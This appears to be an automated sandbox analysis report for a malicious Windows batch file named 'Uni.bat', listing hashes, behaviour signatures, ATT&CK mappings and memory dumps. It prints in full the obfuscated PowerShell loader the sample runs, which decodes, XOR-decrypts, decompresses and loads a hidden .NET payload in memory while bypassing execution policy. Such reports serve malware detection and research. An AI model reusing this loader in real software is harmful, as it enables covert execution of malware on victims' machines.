d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334

Resubmissions

10-05-2024 16:59

240510-vhw48sba59 10

08-05-2024 18:24

240508-w2gz4aha3z 10

08-05-2024 17:08

240508-vnlkpagh86 10

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
08-05-2024 17:08

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General

Target

Uni.bat
Size

301KB
MD5

1f089d9bb03dad6a421dc626a1a1388d
SHA1

44b708c87c743b09c3380427aa0c64e196438d76
SHA256

d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334
SHA512

fd6c6e5588e588e482a15bfe7a5f4608fe85452916b812319336bf422b07a3f76ef7415b64d99bc7f624e57aa362c388576db529e064a3dfbbc4ec01aebec324
SSDEEP

6144:UDAQODtb/MLJcwze2hz1uQ1VEqPfvBaidW+wYHlad/vb7V1:UDROhbMNcE7hv1VLZtMTK+/jJ1

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

Uni.bat.exe

pid process

2264 Uni.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1472 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Uni.bat.exe

pid process

2264 Uni.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Uni.bat.exe

description pid process

Token: SeDebugPrivilege 2264 Uni.bat.exe

pid	process
2264	Uni.bat.exe

pid	process
1472	cmd.exe

pid	process
2264	Uni.bat.exe

description	pid	process
Token: SeDebugPrivilege	2264	Uni.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1472 wrote to memory of 2264	1472	cmd.exe	Uni.bat.exe
PID 1472 wrote to memory of 2264	1472	cmd.exe	Uni.bat.exe
PID 1472 wrote to memory of 2264	1472	cmd.exe	Uni.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1472

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
"Uni.bat.exe" -noprofile -ep bypass -command $sQWxo = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($wuunU in $sQWxo) { if ($wuunU.StartsWith(':: ')) { $Gefee = $wuunU.Substring(3); break; }; };$BRHkO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Gefee);$UoJkv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('llI7MHEN3rnuJm+OhoiaRW5vgXl8RYhNtONXY+rZGh8=');for ($i = 0; $i -le $BRHkO.Length - 1; $i++) { $BRHkO[$i] = ($BRHkO[$i] -bxor $UoJkv[$i % $UoJkv.Length]); };$mAGPa = New-Object System.IO.MemoryStream(, $BRHkO);$OtAiB = New-Object System.IO.MemoryStream;$IbMMP = New-Object System.IO.Compression.GZipStream($mAGPa, [IO.Compression.CompressionMode]::Decompress);$IbMMP.CopyTo($OtAiB);$IbMMP.Dispose();$mAGPa.Dispose();$OtAiB.Dispose();$BRHkO = $OtAiB.ToArray();$KXfoP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($BRHkO);$Ujyzm = $KXfoP.EntryPoint;$Ujyzm.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2264

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2264-5-0x000007FEF546E000-0x000007FEF546F000-memory.dmp

Filesize
4KB

Download
memory/2264-6-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2264-7-0x0000000001D40000-0x0000000001D48000-memory.dmp

Filesize
32KB

Download
memory/2264-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-10-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-13-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-12-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-11-0x0000000002924000-0x0000000002927000-memory.dmp

Filesize
12KB

Download